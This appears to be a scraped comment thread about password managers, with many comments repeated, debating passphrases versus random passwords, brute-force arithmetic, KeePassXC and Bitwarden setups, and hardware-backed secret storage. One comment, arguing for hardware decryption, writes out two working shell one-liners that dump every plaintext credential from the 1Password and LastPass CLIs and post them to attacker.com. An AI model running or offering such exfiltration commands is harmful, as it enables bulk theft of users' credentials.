Securely Yours, Love Password Managers (2021)(cyberlit.co)
cyberlit.co
Securely Yours, Love Password Managers (2021)
https://cyberlit.co/blog/securely-yours-love-password-managers
40 comments
Your edit conveys a strong anti pattern, at least in the sense password managers are mostly used. The entire point is to not remember passwords. Hence the name LastPass, for example (“the last password you will have to remember” aka the master password). Hence also completely random, entirely impossible to learn passwords.
However! The passphrases are very useful for situations where the password also needs to be remembered and actually typed by hand on occasion. I have a single such case, my Active Directory work account. Need to login to Windows but also to various platforms in the browser.
However! The passphrases are very useful for situations where the password also needs to be remembered and actually typed by hand on occasion. I have a single such case, my Active Directory work account. Need to login to Windows but also to various platforms in the browser.
I don't think this is true. That just seems like marketing spin for your average consumer who doesn't understand security.
The main motivation is having a different password per service. So if your password is compromised in one place, you're not universally compromised.
The main motivation is having a different password per service. So if your password is compromised in one place, you're not universally compromised.
> The main motivation is having a different password per service. So if your password is compromised in one place, you're not universally compromised.
Yes, exactly. But how many logins does the average user have? Dozens at least. What's a secure password? 12+ elements (alphanumeric and specials). That is impossible to keep in your head. The only way the average person can make use of complex, secure passwords is by having a single one and reusing that. This is where password managers come into play. You simply create unique passwords, with strong security to each. Again, these will be impossible to remember. So the entire point of passphrases is moot: you are not supposed to remember them, let alone know them. Yes, not even know them. It's the password manager's job!
The only exception (I know of) is passwords that need to be entered regularly, offline, like the operating system's login screen. Those better be passphrases: they can be remembered, but can also be made secure enough by modern standards. The master password to my password manager is such a passphrase, with some modifications. So is the login to my AD user (here, and only here, I used the passphrase generator). That's it. The rest are very long, randomly generated passwords (not phrases), of which I know none.
This is, to my knowledge, the "idiomatic" and "correct" way of using password managers today.
Yes, exactly. But how many logins does the average user have? Dozens at least. What's a secure password? 12+ elements (alphanumeric and specials). That is impossible to keep in your head. The only way the average person can make use of complex, secure passwords is by having a single one and reusing that. This is where password managers come into play. You simply create unique passwords, with strong security to each. Again, these will be impossible to remember. So the entire point of passphrases is moot: you are not supposed to remember them, let alone know them. Yes, not even know them. It's the password manager's job!
The only exception (I know of) is passwords that need to be entered regularly, offline, like the operating system's login screen. Those better be passphrases: they can be remembered, but can also be made secure enough by modern standards. The master password to my password manager is such a passphrase, with some modifications. So is the login to my AD user (here, and only here, I used the passphrase generator). That's it. The rest are very long, randomly generated passwords (not phrases), of which I know none.
This is, to my knowledge, the "idiomatic" and "correct" way of using password managers today.
I can say the same re: KeepassXC. I'm using it on all my devices (except Keepass2Android on my phone) and synchronize the database using Syncthing. Works like a charm.
The one gripe I have with it is its KeeAgent emulation on Windows: It works with Putty (AFAIK) and Microsoft's official OpenSSH port (which gets more and more out of date), but it doesn't mesh well with MSYS2 or Cygwin. And interoperability between those is still really poor.
The one gripe I have with it is its KeeAgent emulation on Windows: It works with Putty (AFAIK) and Microsoft's official OpenSSH port (which gets more and more out of date), but it doesn't mesh well with MSYS2 or Cygwin. And interoperability between those is still really poor.
"at least 8 characters, uppercase/lowercase, numbers, special characters" - I thought the more current recommendation was to use a longer passphrase rather than an overcomplicated and hard to remember password? Of course this hasn't yet got through to many sites, and apparently also not to all security experts...
As for "love", I don't think LastPass (which is unfortunately mandated by my company) loves me, and when I see its egregious UI and its idiotic prompts to fill in passwords on sites to which they don't belong to (not to mention prompting me to save passwords which I definitely don't want to save to LastPass, but unfortunately the popup only has a "Not now" button, not a "No, never" button), I don't really have any love for it either...
As for "love", I don't think LastPass (which is unfortunately mandated by my company) loves me, and when I see its egregious UI and its idiotic prompts to fill in passwords on sites to which they don't belong to (not to mention prompting me to save passwords which I definitely don't want to save to LastPass, but unfortunately the popup only has a "Not now" button, not a "No, never" button), I don't really have any love for it either...
A passphrase isn't stronger than a password created using those rules - it's preferable if your strategy is to remember your passwords. The problem is that there are so many logins it's hard to keep track. So the temptation is to start reusing passphrases across sites which is the big no no because every site will be breached eventually, it's just a matter of time. And once your passphrase is compromised attackers will start credential stuffing on every other site of interest, looking for where you have reused it.
Of course 2fa, hashing, salting, etc are better solutions but there you're putting your security in the hands of some unknown developers and hoping they know what they're doing.
Security in depth is all about layers. Password managers aren't the perfect solution to the user layer, but for me they're the least worst option.
I’m not a security expert, but I have to agree with rob74. I was taught by a mentor that from a computational standpoint, all those typical ‘uppercase/ lowercase/ special character’ rules are worthless. The only thing that makes a password stronger is the length. Now from a human or social engineering standpoint they might make sense. It might make it less likely someone chooses something that could be found using a dictionary attack. But as far as a brute force attack or similar, my understanding is that length is all that matters. They types of characters used make no difference to an attacker trying to programmatically crack a password.
Brute forcing is just guessing what character is in each slot, so you start with aaaaa then try aaaab, etc.
Using a passphrase means that there are 26 candidates. 52 if you mix upper and lower case. If you add numbers and special characters you go up to 95.
Your mentor is right in that length is the more important factor. The character set has a multiplying effect whereas the length has an exponential effect, so 11 lowercase letters is 26^11 combinations, a bit over half as many as 8 special chars (95^8).
It's worth noting that neither of those would be considered a "safe" password - 15 characters for only lowercase and 13 for a mix of all characters is the recommended minimum.
It makes less difference when you consider that the attacker doesn't know you're using a passphrase so will probably be checking for those extra characters anyway.
What does make a difference is that the passphrase is designed to be remembered but should be unique per login. So with 30+ logins you're remembering 30+ passphrases or might you be tempted to reuse some?
You can get the advantages of a passphrase with a password manager but the same is not true in reverse.
Your mentor is right in that length is the more important factor. The character set has a multiplying effect whereas the length has an exponential effect, so 11 lowercase letters is 26^11 combinations, a bit over half as many as 8 special chars (95^8).
It's worth noting that neither of those would be considered a "safe" password - 15 characters for only lowercase and 13 for a mix of all characters is the recommended minimum.
It makes less difference when you consider that the attacker doesn't know you're using a passphrase so will probably be checking for those extra characters anyway.
What does make a difference is that the passphrase is designed to be remembered but should be unique per login. So with 30+ logins you're remembering 30+ passphrases or might you be tempted to reuse some?
You can get the advantages of a passphrase with a password manager but the same is not true in reverse.
Thanks for the explanation!
what if the cracking tool has rainbow table of commonly used phrases, or combination of words used from dictionary. Length might not start to matter in such cases.
You're right that length is an important factor. Each bit doubles the possible options because there are two symbols (0 & 1). Generally, the possibilities are S^P where S is symbols, P is positions, and ^ raises S to the power P. Except you're not using bits, you're using characters so if you lop of symbols, uppercase, and numbers using only lower case you lose possibilities (reducing S). The number of symbols in printable ASCII is 95 but there are only 26 lowercase letters. See how that changes the number of possibilities:
26^1 = 26 : 26^2 = __676 : 26^3 = _17,576
95^1 = 95 : 95^2 = 9,025 : 95^3 = 857,375
You can see that allowing more characters greatly increases the impact of length.
Your mentor is partly right but your take away papers over the impact of the base.
The passphrase approach [0] is optimized for human memory and I would suggest that for your master password in a password manager but for generated passwords drawing from the greatest set of characters increases security.
[0] https://xkcd.com/936/
26^1 = 26 : 26^2 = __676 : 26^3 = _17,576
95^1 = 95 : 95^2 = 9,025 : 95^3 = 857,375
You can see that allowing more characters greatly increases the impact of length.
Your mentor is partly right but your take away papers over the impact of the base.
The passphrase approach [0] is optimized for human memory and I would suggest that for your master password in a password manager but for generated passwords drawing from the greatest set of characters increases security.
[0] https://xkcd.com/936/
Thanks for the detailed explanation!
I personally use the Keepass "suite" as follows:
* KeepassXC on desktop (linux)
* KeepassDX on mobile (Android)
It's synced any way you like: NextCloud, Syncthing, Dropbox, you name it.
* KeepassXC on desktop (linux)
* KeepassDX on mobile (Android)
It's synced any way you like: NextCloud, Syncthing, Dropbox, you name it.
+1 for KeypassXC. For those looking for an iOS app, I recommend Strongbox[1]. It’s open-source and it’s the most feature complete solution I’ve found. (Not affiliated, just a happy user)
https://strongboxsafe.com/
https://strongboxsafe.com/
I'm a big fan of Enpass [1]. It's user friendly enough for the not so technical members of my family to use it and importantly (for me) sync is achieved via encrypted files stored on Google Drive (other services such as Dropbox are also supported).
[1] https://www.enpass.io/
[1] https://www.enpass.io/
I used to use Enpass and have looked at returning, but their lack of third party audits for years and most platforms keeps pushing me off it.
> Password managers rely on a cool technique called “Zero-Knowledge Proof"
In case anyone gets confused, this is not true.
In case anyone gets confused, this is not true.
I think the zero-knowledge proof bit is how some password managers authenticate the users to their system. 1Password for example, uses the secure remote password protocol: https://en.wikipedia.org/wiki/Secure_Remote_Password_protoco... , that is mentioned in https://blog.1password.com/1password-is-layerup-ed-with-mode... as a zero-knowledge password authenticated key agreement when you login to fetch the blob of encrypted password data from 1password.
Given today's cloud hardware availability the leaking of the hash of an 8 character password is only good for a few days. The current reasonable minimum is 12 characters.
I really wish there was a good standard for password length requirements for websites.
Far too many sites out there reject longer passwords, or have a strange dislike of a single special character (which of course differs between sites)
Let me use 64 character passwords, dammit!
Far too many sites out there reject longer passwords, or have a strange dislike of a single special character (which of course differs between sites)
Let me use 64 character passwords, dammit!
I keep wishing everywhere would allow a length of 256,and the extended ascii set. I know it's overkill, but it makes no practical sense to restrict passwords to a particularly low length, let alone the trend of excluding all but a few special characters.
You'd think this is truly the one thing the industry could agree on, but instead you have sites that restrict you to 12 characters, alphanumeric only.
You'd think this is truly the one thing the industry could agree on, but instead you have sites that restrict you to 12 characters, alphanumeric only.
The reason given is usually Denial of Service. The longer passwords create more CPU work on the server multiplied by the number of users logging in or registering accounts. I do not care for that argument. I would much prefer working around potential ddos with proper code segmentation and capacity planning. If it's really an issue then a auth micro-service that predicatively spins up instances or something like that.
bcrypt, scrypt, argon2 or any other reasonably strong password hash will not be cracked in a few days (unless the passwords are simple dictionary words).
It is non obvious but important to understand that most password managers, such as 1password, Lastpass, and almost everything else, expose all secrets to malware in plain text any time the password database is unlocked.
Here are some trivial examples of how malware can steal credentials in bulk.
Example: Exfiltrate all plaintext credentials from 1password
``` op list items | jq -r '.[].uuid' | xargs -n1 bash -c 'op get item "$1"' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 ```
Example: Exfiltrate all plaintext credentials from lastpass
``` lpass ls | grep -oP '(?<=id: )([0-9]+)' | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 ```
I have seen fake password manager browser plugins deployed in the wild that phish and exfiltrate master passwords, though the above methods are even simpler as they could just run a loop waiting until a password manager is eventually unlocked.
Software-only password managers may be useful for casual personal use cases such as food delivery services or social media accounts, but are not recommended for any use cases that protect any significant value like production corporate systems, and in particularly not for high risk secrets such as cloud root account creds, TLS CAs, or crypto-asset keys (you know who you are).
I would strongly encourage for most use cases to consider secret management solutions that decrypt one credential at a time on external hardware such as Password Store backed with a Yubikey, Trezor password manager, or a Mooltipass.
These offer damage control even when your endpoint is compromised.
Example: Exfiltrate all plaintext credentials from 1password
``` op list items | jq -r '.[].uuid' | xargs -n1 bash -c 'op get item "$1"' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 ```
Example: Exfiltrate all plaintext credentials from lastpass
``` lpass ls | grep -oP '(?<=id: )([0-9]+)' | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 ```
I have seen fake password manager browser plugins deployed in the wild that phish and exfiltrate master passwords, though the above methods are even simpler as they could just run a loop waiting until a password manager is eventually unlocked.
Software-only password managers may be useful for casual personal use cases such as food delivery services or social media accounts, but are not recommended for any use cases that protect any significant value like production corporate systems, and in particularly not for high risk secrets such as cloud root account creds, TLS CAs, or crypto-asset keys (you know who you are).
I would strongly encourage for most use cases to consider secret management solutions that decrypt one credential at a time on external hardware such as Password Store backed with a Yubikey, Trezor password manager, or a Mooltipass.
These offer damage control even when your endpoint is compromised.
Keepassxc supports Yubikey challenge response. It protects against attack you mentioned.
̌Challenge response does not help much. The database ends up exposed on the workstation.
If you require a touch, challenge response behaves exactly same as smart card. In both cases, the database is locked, until you touch where the database is exposed in either case.
Hardware Authentication != Hardware Decryption
In challenge response, your password manager has a cosmetic software control that prompts you to authenticate yourself with your Yubikey before it will expose the decryption key which in turn exposes your entire password database. This does not help you in the event your system is compromised, as an attacker would just have a background job that waits until the next time you authenticate and steal all secrets just after.
When you use a true hardware encryption solution like Password Store with a Yubikey, it actually encrypts every single secret as individual blobs to a asymmetric public key in the Yubikey. The encryption key never once comes in contact with system memory. Instead a single requested secret is sent to the Yubikey, the decryption is done there in isolated memory and CPU, and then that single plaintext secret is sent back to the OS, provided the user touched the device.
To summarize, let's assume your system is compromised with a rootkit by a remote actor. You have 100 secrets stored in both Keepass with Yubikey authentiction, and in Password Store with Yubikey encryption.
To steal all your secrets from Keypass they only need to wait for you to tap your Yubikey once to get all 100 secrets, if that. They could just skip that check after all as it is just cosmetic. They have root and can modify any binary they want.
Meanwhile in the Password Store setup to get all your 100 secrets your adversary has to trick you into tapping your Yubikey 100 times. Presumably you would notice something was up and have some damage control.
In challenge response, your password manager has a cosmetic software control that prompts you to authenticate yourself with your Yubikey before it will expose the decryption key which in turn exposes your entire password database. This does not help you in the event your system is compromised, as an attacker would just have a background job that waits until the next time you authenticate and steal all secrets just after.
When you use a true hardware encryption solution like Password Store with a Yubikey, it actually encrypts every single secret as individual blobs to a asymmetric public key in the Yubikey. The encryption key never once comes in contact with system memory. Instead a single requested secret is sent to the Yubikey, the decryption is done there in isolated memory and CPU, and then that single plaintext secret is sent back to the OS, provided the user touched the device.
To summarize, let's assume your system is compromised with a rootkit by a remote actor. You have 100 secrets stored in both Keepass with Yubikey authentiction, and in Password Store with Yubikey encryption.
To steal all your secrets from Keypass they only need to wait for you to tap your Yubikey once to get all 100 secrets, if that. They could just skip that check after all as it is just cosmetic. They have root and can modify any binary they want.
Meanwhile in the Password Store setup to get all your 100 secrets your adversary has to trick you into tapping your Yubikey 100 times. Presumably you would notice something was up and have some damage control.
This is an important point, and I have written similar comments on HN (about this and other advantages of Pass). Keepass is per database vs GPG is per password.
However, it’s not much related to the cryptography. You could write per password databases in keepassxc too, set each with CR and access by command line. You would need one touch per password.
Yes, the key and crypto are inside Yubikey with GPG, whereas with CR only the key is inside Yubikey. We can debate which one is better, at the end it’s a second factor used in different ways.
However, it’s not much related to the cryptography. You could write per password databases in keepassxc too, set each with CR and access by command line. You would need one touch per password.
Yes, the key and crypto are inside Yubikey with GPG, whereas with CR only the key is inside Yubikey. We can debate which one is better, at the end it’s a second factor used in different ways.
Password managers are like the next ransomware target. All your eggs in one basket, doesnt cost much to obtain a selection of the most popular, work out how they work and then just target them.
My mom and stepdad use a piece of paper for their passwords. Old passwords are crossed out, and it sorta works as a "secure" password manager.
Like most people, they still occasionally forget what a password is for a give site/app. At that point they proceed to the password reset flow and (hopefully) cross out the old password and write down the new one (accurately).
Most password reset flows use email. Aside from state sponsored efforts, password reset flows are "downgraded" to using a user's email address:
> Click here to recover your login ID. (user gets email with a link or text with the "username")
> Click here to reset your password. (user gets email with a link to reset password)
If the site provides a level of 2FA or hint:
> Enter your 2FA token from your authentication app, or...
> Enter your mother's maiden name.
Once 2FA is confirmed, or doesn't exist, the password flow continues:
> Type in a password (various requirements for a password ensue)
> Login again with the recovered "username" and password. (user tries to login again)
Struggle with saving new password to various password managers ensues.
> Login is successful, or not.
If password flows are "secured" with emailed links, why not just make "logins" use emailed links, with some one-time token that just logs them in? This would make any login to a site/app as "secure" as the user's email login:
> Type in email address (user is sent a one-time login token to click or enter)
> Type in the one-time token (user is logged in if the token is correct)
If the token is wrong, reset the token and take no action. Also, logging the user out on a shorter interval gets them comfortable with this regular "login" process.
A more speedy login can be achieved by collecting the user's phone number. If the phone number is successfully collected, logins can proceed:
> Type in email address (user's phone is sent a short code)
> Type in the code sent to the phone (if it's wrong, reset it and tell the user to try again)
> Add 2FA on top of this to secure SMS security deficiencies
This simplified "reset password" flow is then presented as an alternate solution to logging in without passwords, to a given app or site.
What am I missing here?
Like most people, they still occasionally forget what a password is for a give site/app. At that point they proceed to the password reset flow and (hopefully) cross out the old password and write down the new one (accurately).
Most password reset flows use email. Aside from state sponsored efforts, password reset flows are "downgraded" to using a user's email address:
> Click here to recover your login ID. (user gets email with a link or text with the "username")
> Click here to reset your password. (user gets email with a link to reset password)
If the site provides a level of 2FA or hint:
> Enter your 2FA token from your authentication app, or...
> Enter your mother's maiden name.
Once 2FA is confirmed, or doesn't exist, the password flow continues:
> Type in a password (various requirements for a password ensue)
> Login again with the recovered "username" and password. (user tries to login again)
Struggle with saving new password to various password managers ensues.
> Login is successful, or not.
If password flows are "secured" with emailed links, why not just make "logins" use emailed links, with some one-time token that just logs them in? This would make any login to a site/app as "secure" as the user's email login:
> Type in email address (user is sent a one-time login token to click or enter)
> Type in the one-time token (user is logged in if the token is correct)
If the token is wrong, reset the token and take no action. Also, logging the user out on a shorter interval gets them comfortable with this regular "login" process.
A more speedy login can be achieved by collecting the user's phone number. If the phone number is successfully collected, logins can proceed:
> Type in email address (user's phone is sent a short code)
> Type in the code sent to the phone (if it's wrong, reset it and tell the user to try again)
> Add 2FA on top of this to secure SMS security deficiencies
This simplified "reset password" flow is then presented as an alternate solution to logging in without passwords, to a given app or site.
What am I missing here?
I'm trying to switch to a better model for personal security. What is the reasonably secure stack for it? I currently use Vaultwarden and AndOTP but have been considering the Password Store and a Yubikey.
Maybe I am failing to grok password managers, but I can't get my head around this:
I'm traveling. My phone and laptop are lost or stolen. I am now unable to log in to anything?
I'm traveling. My phone and laptop are lost or stolen. I am now unable to log in to anything?
You are fundamentally correct: to make your passwords safe from hackers you are making them harder for yourself to access (in this case by requiring MFA). Accessing your passwords now requires having access to a device (your second factor).
There are recovery mechanisms that you can set up ahead of time (a series of recovery codes for example), but for the most part I would agree with your premise: you will have a very hard time accessing your accounts if you ever lose your primary devices. For me the security benefit is worth the inconvenience.
There are recovery mechanisms that you can set up ahead of time (a series of recovery codes for example), but for the most part I would agree with your premise: you will have a very hard time accessing your accounts if you ever lose your primary devices. For me the security benefit is worth the inconvenience.
You can get around this by backing up your database of passwords onto a pendrive, for example, and then installing the password manager on to a fresh device. You will be able to gain access to your old password file from this if you remember your password.
Password managers can store your passwords on the cloud as well.
True but any password manager in the cloud should require MFA, which means if you lose your devices you’re still stuck.
KeePassXC is a little clunky to set up the link between your local instance and your browser(s) but once that is done, it's straightforward and seems to work very well.
EDIT: Bitwarden recently added passphrases to its generator feature. I personally prefer long random passwords but I know some folks prefer to remember a phrase.